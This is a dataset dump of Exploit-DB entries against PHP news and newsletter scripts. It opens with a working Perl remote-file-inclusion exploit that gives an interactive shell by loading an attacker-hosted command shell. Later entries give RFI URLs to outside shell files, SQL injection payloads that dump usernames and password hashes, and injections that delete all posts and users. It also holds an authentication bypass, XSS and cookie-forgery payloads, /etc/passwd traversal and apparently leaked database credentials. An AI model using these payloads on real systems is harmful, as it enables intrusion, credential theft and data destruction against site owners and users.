deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3406
Description: News-Letterman 1.1 - 'eintrag.php?sqllog' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-04
Author: bd0rk

Exploit:
#!/usr/bin/perl
#
#News-Letterman 1.1 (eintrag.php) Remote File Include Exploit
#
#Download: http://www.weltennetz.de/download/letterman1.1.zip
#
#Vulnerable Code: include ($sqllog);
#
#Coded by bd0rk || SOH-Crew
#
#Usage: exploit.pl [target] [cmd shell] [shell variable]
#
#Greetings: str0ke, TheJT, seduce, Perle, CodeR
#
#

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'eintrag.php?sqllog='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[....]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *News-Letterman 1.1 (eintrag.php) Remote File Include Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: exploit.pl [target] [cmd shell location] [cmd shell variable]\r\n\n";
 print " <Site> - Full path to News-Letterman ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by bd0rk \r\n";
 print "                           www.soh-crew.it.tt \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2007-03-04]
Exploit-DB #31447
Description: News-Template 0.5beta - 'print.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-03-20
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28353/info

News-Template is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/content/print/print.php?ide="><script>alert("CANAKKALE-GECiLMEZ")</script>
http://www.example.com/content/print/print.php?file_name="><script>alert("CANAKKALE-GECiLMEZ")</script>
Exploit-DB #26458
Description: News2Net 3.0 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-02
Author: Mousehack

Exploit:
source: https://www.securityfocus.com/bid/15274/info

News2Net is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/news2net/index.php?category=[SQL]
Exploit-DB #18960
Description: NewsAdd 1.0 - 'lerNoticia.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2012-05-31
Author: Yakir Wizman

Exploit:
##########################################################################
## NewsAdd <= 1.0 (lerNoticia.php) Remote SQL Injection
## Google Dork: n/a
## Bug discovered by Pr0T3cT10n, <pr0t3ct10n@gmail.com>
## Date: 31/05/2012
## Version: 1.0
## Software Link: http://phpbrasil.com/script/3tCyUs1JeL1M/newsadd--mysql
## ISRAEL
##########################################################################
##          Author will be not responsible for any damage.
##########################################################################
##      **YOU SHOULD BE LOGGED IN** | **YOU SHOULD BE LOGGED IN**
##########################################################################
## Vulnerable Code - lerNoticia [15-22]:
21.if ($_GET) {
22.
23.	$id = $_GET['id'];
24.	
25.	$query = "SELECT * FROM noticia WHERE id = '$id'";
26.	$sql = mysql_query($query);
27.
28.	while($row = mysql_fetch_array($sql)) {
29.
30.		echo "<strong><br>" . $row['titulo'] . "</strong> - postado em " . $row['data'] . "<br>" . $row['noticia'] . "<br>";
31.		echo "<a href='comentar.php?id=$row[0]'>comentar not?cia</a><br><br><hr>";
32.
33.	}
34.
## NOTE:
## As you can see there is no validation or any filter to variable $id.
## See line 23. so you can inject sql query by using $id variable;
## SQL Injection PoC:
## http://www.example.com/newsadd/lerNoticia.php?id=-0'+union+all+select+1,2,VERSION(),4,5+from+usuarios--+
##########################################################################
# Cya :)
# 0x31337.net
##########################################################################
Exploit-DB #18950
Description: NewsAdd 1.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-05-30
Author: WhiteCollarGroup

Exploit:
# Exploit Title: NewsAdd <=1.0 Multiple SQL Injection
# Google Dork: -----------------------------------
# Date: 2012/05/29
# Author: WhiteCollarGroup
# Software Link: http://phpbrasil.com/script/3tCyUs1JeL1M/newsadd--mysql
# Version: 1.0
# Tested on: Debian GNU/Linux

Developer URL: http://tvaini.ueuo.com/
Vulnerabilities discovered by WhiteCollarGroup
  www.wcgroup.host56.com
  whitecollar_group@hotmail.com

If you will install NewsAdd on your system for tests, some servers have problems with tabulation.
Therefore, replace the second query:
--- begin ---
CREATE TABLE IF NOT EXISTS 'comentario' (
        'id' int(11) NOT NULL AUTO_INCREMENT,
        'id_noticia' int(11) NOT NULL,
        'usuario' varchar(15) NOT NULL,
        'comentario' text NOT NULL,
        'data' datetime NOT NULL,
        PRIMARY_KEY('id')
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=15 ;
--- end ---
By this:
--- begin ---
DROP TABLE IF EXISTS `comentario`;
CREATE TABLE `comentario` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `id_noticia` int(11) NOT NULL,
  `usuario` varchar(15) NOT NULL,
  `comentario` text NOT NULL,
  `data` datetime NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
--- end ---

We discovered five SQL Injection vulnerabilities on public access.
 _
|_| Vulnerabilities before login

 /
|  SQL Injection on the search form
 \
The first vulnerability is in the search form, on index. Paste this in it:
%' UNION ALL SELECT 1,group_concat(concat(email,0x3c3d3e,usuario,0x3c3d3e,senha,0x3c3d3e,admin,0x3c3d3e,banido)),3,4,5 from usuarios-- wc
You will get a unique line like:

admin@admin.com.br<=>admin<=>e10adc3949ba59abbe56e057f20f883e<=>1<=>0,user@email.com<=>user<=>ee11cbb19052e40b07aac0ca060c23ee<=>1<=>0

Lines are separated by commas (",") and columns, by "<=>".
In the return, we have two lines:

admin@admin.com.br<=>admin<=>e10adc3949ba59abbe56e057f20f883e<=>1<=>0
user@email.com<=>user<=>ee11cbb19052e40b07aac0ca060c23ee<=>1<=>0

Here, we have the columns as follow:
email <=> username <=> md5(password) <=> admin? <=> banned?

 /
|  SQL Injection on comments
 \

For this, you must be a user. Register on the "cadastro.php" form.
After, access:
http://domain/comentar.php?id=-0' union all select 1,2,3,group_concat(concat(email,0x3c3d3e,usuario,0x3c3d3e,senha,0x3c3d3e,admin,0x3c3d3e,banido)),5 from usuarios--+
You will view a line like the previous example.


 _
|_| Vulnerabilities after login

 /
|  Delete all posts
 \

/admin/removerNoticia.php?id=0' or '1'='1&conf=sim


 /
|  Ban all users
 \

/admin/listarUsuarios.php?acao=banir&id=0' or '1'='1


 /
|  Delete all users
 \

/admin/removerUsuario.php?id=0' or '1'='1&conf=sim

Note that if you delete all users, you will lose access to the system.
Exploit-DB #41261
Description: NewsBee CMS - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-06
Author: Kaan KAMIS

Exploit:
Exploit Title: NewsBee CMS – SQL Injection
Date: 06.02.2017
Software Link: https://codecanyon.net/item/newsbee-fully-featured-news-cms-with-bootstrasp-php-mysql/19404937?s_rank=2
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits

Overview

NewsBee is a Fully Featured News Site CMS (Content Management System). This CMS Includes almost everything you need to make a News Site easily and Creatively. The In build Features will help you to easily manage the site contents not only news articles, but also many other related contents which are commonly used in news sites.
Vulnerabilities:

SQL Injection

URL : http://localhost/newsbee/30[payload]_news_thai_soccer_targets_asia_wide_goals.html

Payload:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://localhost/newsbee/30' AND 5694=5694 AND 'fpmw'='fpmw_news_thai_soccer_targets_asia_wide_goals.html

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: http://localhost/newsbee/30' AND (SELECT 4020 FROM(SELECT COUNT(*),CONCAT(0x717a767a71,(SELECT (ELT(4020=4020,1))),0x[PII_REDACTED],FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'Tdxc'='Tdxc_news_thai_soccer_targets_asia_wide_goals.html

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: http://localhost/newsbee/30' OR SLEEP(5) AND 'VLvJ'='VLvJ_news_thai_soccer_targets_asia_wide_goals.html
---
Exploit-DB #44702
Description: NewsBee CMS 1.4 - 'download.php' SQL Injection
Type: webapps
Platform: php
Date: 2018-05-22
Author: AkkuS

Exploit:
# Exploit Title: NewsBee CMS 1.4 - 'download.php' SQL Injection
# Dork: N/A
# Date: 2018-05-22
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/newsbee-fully-featured-news-cms-with-bootstrasp-php-mysql/19404937
# Version: 1.4 / fourth update
# Category: Webapps
# Tested on: Kali linux

# PoC: SQLi:
# Parameter: id
# Type: boolean-based blind
# Demo: http://Target/NewsBee/admin/download.php?id=578&t=gallery
# Payload: 

id=578' AND 2043=2043 AND 'KzTm'='KzTm&t=gallery

# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# Payload: 

id=578' AND (SELECT 7126 FROM(SELECT
COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT
(ELT(7126=7126,1))),0x71766a7871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'hOBA'='hOBA&t=gallery

# Type: AND/OR time-based blind
# Demo: http://Target/NewsBee/admin/download.php?id=578&t=gallery
# Payload: 

id=578' AND SLEEP(5) AND 'KlSV'='KlSV&t=gallery

# Type: UNION query
# Demo: http://Target/NewsBee/admin/download.php?id=578&t=gallery
# Payload: 

id=-1714' UNION ALL SELECT
NULL,NULL,CONCAT(0x[PII_REDACTED],0x[PII_REDACTED]6a566c616e5156496a6a[PII_REDACTED]5670596f644f466f[PII_REDACTED]69636d4358694c,0x71766a7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
WSZd&t=gallery

# PoC: SQLi:
# Parameter: t
# Type: boolean-based blind
# Demo: http://Target/NewsBee/admin/download.php?id=578&t=gallery
# Payload: 

id=578&t=gallery` WHERE 7854=7854 AND 1059=1059#

# Type: error-based
# Demo: http://Target/NewsBee/admin/download.php?id=578&t=gallery
# Payload: 

id=578&t=gallery` WHERE 8962=8962 AND (SELECT 1892 FROM(SELECT
COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT
(ELT(1892=1892,1))),0x71766a7871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- eLUC

# Type: AND/OR time-based blind
# Demo: http://Target/NewsBee/admin/download.php?id=578&t=gallery
# Payload: 

id=578&t=gallery` WHERE 5549=5549 AND SLEEP(5)-- RUaY
Exploit-DB #44700
Description: NewsBee CMS 1.4 - 'home-text-edit.php' SQL Injection
Type: webapps
Platform: php
Date: 2018-05-22
Author: AkkuS

Exploit:
# Exploit Title: NewsBee CMS 1.4 - 'home-text-edit.php' SQL Injection
# Dork: N/A
# Date: 2018-05-22
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/newsbee-fully-featured-news-cms-with-bootstrasp-php-mysql/19404937
# Version: 1.4 / fourth update
# Category: Webapps
# Tested on: Kali linux

# PoC: SQLi:
# Parameter: id
# Type: boolean-based blind
# Demo: http://Target/NewsBee/admin/home-text-edit.php?id=5
# Payload: 

iPayload: id=5' AND 3563=3563 AND 'HmOW'='HmOW

# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# Payload: 

id=5' AND (SELECT 7446 FROM(SELECT
COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT
(ELT(7446=7446,1))),0x7176716a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'rNYc'='rNYc

# Type: AND/OR time-based blind
# Demo: http://Target/NewsBee/admin/home-text-edit.php?id=5
# Payload: 

id=5' AND SLEEP(5) AND 'KdYd'='KdYd

# Type: UNION query
# Demo: http://Target/NewsBee/admin/home-text-edit.php?id=5
# Payload: 

id=-1714' UNION ALL SELECT
NULL,NULL,CONCAT(0x[PII_REDACTED],0x[PII_REDACTED]6a566c616e5156496a6a[PII_REDACTED]5670596f644f466f[PII_REDACTED]69636d4358694c,0x71766a7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
WSZd&t=gallery
Exploit-DB #32760
Description: NewsCMSLite - Insecure Cookie Authentication Bypass
Type: webapps
Platform: php
Date: 2009-01-24
Author: FarhadKey

Exploit:
source: https://www.securityfocus.com/bid/33467/info

NewsCMSLite is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain unauthorized access to the affected application, which may aid in further attacks. 

javascript:document.cookie = "loggedIn=xY1zZoPQ; path=/"
Exploit-DB #32271
Description: NewsHOWLER 1.03 - Cookie Data SQL Injection
Type: webapps
Platform: php
Date: 2008-08-18
Author: Khashayar Fereidani

Exploit:
source: https://www.securityfocus.com/bid/30732/info

NewsHOWLER is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

javascript:document.cookie = "news_user=zz'+union+select+3,3,3,3+from+news_users/*; path=/";
javascript:document.cookie = "news_password=3; path=/";
Exploit-DB #2097
Description: NewsLetter 3.5 - 'NL_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-01
Author: SHiKaA

Exploit:
#=================================================================
#NewsLetter v3.5 <= (NL_PATH) Remote File Inclusion Exploit
#================================================================
#                                                                |
#Critical Level : Dangerous                                      |
#                                                                |
#Venedor site : http://knusperleicht.at/                         |
#                                                                |
#Version : 3.5                                                   |
#                                                                |
#=================================================================
#Bug in : index.php
#
#Vlu Code :
#--------------------------------
#      /**
# *     Erforderliche Datein einbinden
# */
#
#      require ("$NL_PATH"."inc/config.inc.php");
#      require ("$NL_PATH"."inc/engine.inc.php");
#
#/**
#=================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/index.php?NL_PATH=http://SHELLURL.COM?
#
#===============================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Bl@Ck^B1rd Semsemmasr Black_Scorpion Medo_Ye7ya Kambaa  NANA Kashtawa
#Skiing Gendiaaa Saw AzIZa SnIpEr_Sa Masry OSA FEGLA 3amer

# milw0rm.com [2006-08-01]
Exploit-DB #11367
Description: NewsLetter Tailor - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-02-09
Author: ViRuSMaN

Exploit:
==============================================================================
[»] ~ Note : [ Tribute to the martyrs of Gaza . ]
==============================================================================
[»] Newsletter Tailor (Auth Bypass) SQL Injection Vulnerability
==============================================================================

[»] Script: [ Newsletter Tailor ]
[»] Language: [ PHP ]
[»] Site page: [ A powerful Newsletter/ Mass Mailer script with built-in ftp client and wysiwyg editor ]
[»] Download: [ http://sourceforge.net/projects/nlettertailor/ ]
[»] Founder: [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
[»] Greetz to: [ HackTeach Team , Egyptian Hackers , All My Friends & pentestlabs.com ]
[»] My Home: [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

[»] http://[target].com/[path]/admin/
[~] Username:'or' 1=1
[~] [CREDENTIAL_REDACTED]


Author: ViRuSMaN <-

###########################################################################
Exploit-DB #11366
Description: NewsLetter Tailor - Database Backup Dump
Type: webapps
Platform: php
Date: 2010-02-09
Author: ViRuSMaN

Exploit:
==============================================================================
[»] ~ Note : [ Tribute to the martyrs of Gaza . ]
==============================================================================
[»] Newsletter Tailor Database Backup Dump Vulnerability
==============================================================================

[»] Script: [ Newsletter Tailor ]
[»] Language: [ PHP ]
[»] Site page: [ A powerful Newsletter/ Mass Mailer script with built-in ftp client and wysiwyg editor ]
[»] Download: [ http://sourceforge.net/projects/nlettertailor/ ]
[»] Founder: [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
[»] Greetz to: [ HackTeach Team , Egyptian Hackers , All My Friends & pentestlabs.com ]
[»] My Home: [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

[»] http://[target].com/[path]/admin/download/backup.sql <-=- You Can See The backup Code From Here
[»] http://[target].com/[path]/admin/download/download.php?file=backup.sql <-=- You Can Download backup From Here

===[ Live Demo ]===

[»] http://[target].com/[path]/admin/download/backup.sql
[»] http://[target].com/[path]/admin/download/download.php?file=backup.sql

Author: ViRuSMaN <-

###########################################################################
Exploit-DB #11378
Description: NewsLetter Tailor 0.2.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-02-09
Author: snakespc

Exploit:
==============================================================================
[»] Newsletter Tailor Remote File Include Vulnerability
==============================================================================
 
[»] Script:   [ Newsletter Tailor ]
[»] Language: [ PHP ]
[»] Download: [ http://sourceforge.net/projects/nlettertailor/ ]
[»] Founder:  [ Snakespc Email:super_cristal@hotmail.com - Site:sec-war.com/cc> ]
[»] Greetz to:[ SnakesTeaM, PrEdAtOr ,alnjm33 >>> All My Mamber >> sec-war.com/cc ]
[»] Note:     [ Thank you ViRuSMaN on script  ]
 
###########################################################################
 ===[ Exploit ]=== include($p.".php");
 
[»] http://server/list/admin/index.php?p=http://localhost/c99.txt?
[»]Note: When you update the page prompts you to log on
[»](Auth Bypass) SQL Injection :user:' or '1=1  pass:' or '1=1
Then be accessed on the "sh3ll"
Author: Snakespc <- 
###########################################################################
Exploit-DB #5624
Description: newsmanager 2.0 - Remote File Inclusion / File Disclosure / SQL Injection
Type: webapps
Platform: php
Date: 2008-05-15
Author: GoLd_M

Exploit:
News Manager 2.0 Multiple Vulnerabilities
Script : http://superb-east.dl.sourceforge.net/sourceforge/newsrssmanager/newsmanager2.0.zip
Dork : "Copyrights Â© 2005 Belgische Federale Overheidsdiensten"
1- Remote File Include Vulnerability
/ch_readalso.php?read_xml_include=http://localhost/020.txt
2- Remote File Disclosure Vulnerability
/attachments.php?id=../../../../../../../../../../../../../etc/passwd
/login/attachments.php?id=
3- Remote SQL Injection Vulnerabilities
/list_tagitems.php?pid=-41[SQL]
/advsearch.php?lang='[SQL]
/archive.php?lang='[SQL]
/index.php?lang='[SQL]
4- Remote Permission Bypass Vulnerability
/db/connect_str.php
You Can Get Username Of db & Pass & Name .. As 
mysql||localhost||newsmanager||root||mahmood4li
5- You Can Get PHPINFO From 
/login/info.php
Thanx To : Tryag-Team & HaCkeR_EgY & InjEctOr5 TeaM & All Muslims HaCkeRs   :) 

# milw0rm.com [2008-05-15]
Exploit-DB #5429
Description: NewsOffice 1.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-04-11
Author: RoMaNcYxHaCkEr

Exploit:
-==========================================[ ViVa Islam + YeMeN ]====================================-

# Name : NewsOffice 1.1 Remote File Include Vulnerabilitiy

# Download From : http://www.newanz.com/applications/NewsOffice/?page=download

# Found By : RoMaNcYxHaCkEr     [RoMaNTiC-TeaM]  ( BlackxHat , BlackBox , aLwHEeD )        

# Home Page :  WwW.4RxH.CoM            

+======================================================================================================================+

# Vulne Code In File news_show.php In Different Lines :

include($newsoffice_directory."config.php");
include($newsoffice_directory."news_data.php");
include($newsoffice_directory."template.php");

# Exploit :

http://WwW.4RxH.CoM/NewsOffice/news_show.php?newsoffice_directory=http://rxh.freehostia.com/shells/c99in.txt?

Also The Version 1.0 Is Infected In Same File

That,s It,s

Good Luck Everybody

+=======================================================================================================================+

# Greet To :

Tryag TeaM & All Members Of My Forum

# For Contact : RxH@HoTMaiL.iT

# Fuck Own Life  :( 

-==========================================[ ViVa Islam + YeMeN ]====================================-

# milw0rm.com [2008-04-11]
Exploit-DB #34258
Description: NewsOffice 2.0.18 - 'news_show.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-05
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/41419/info

NewsOffice is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

NewsOffice 2.0.18 is vulnerable; other versions may also be affected.


http://www.example.com/newsoffice/news_show.php?n-user=a&n-cat='%3E%3Cscript%3Ealert(0)%3C/script%3E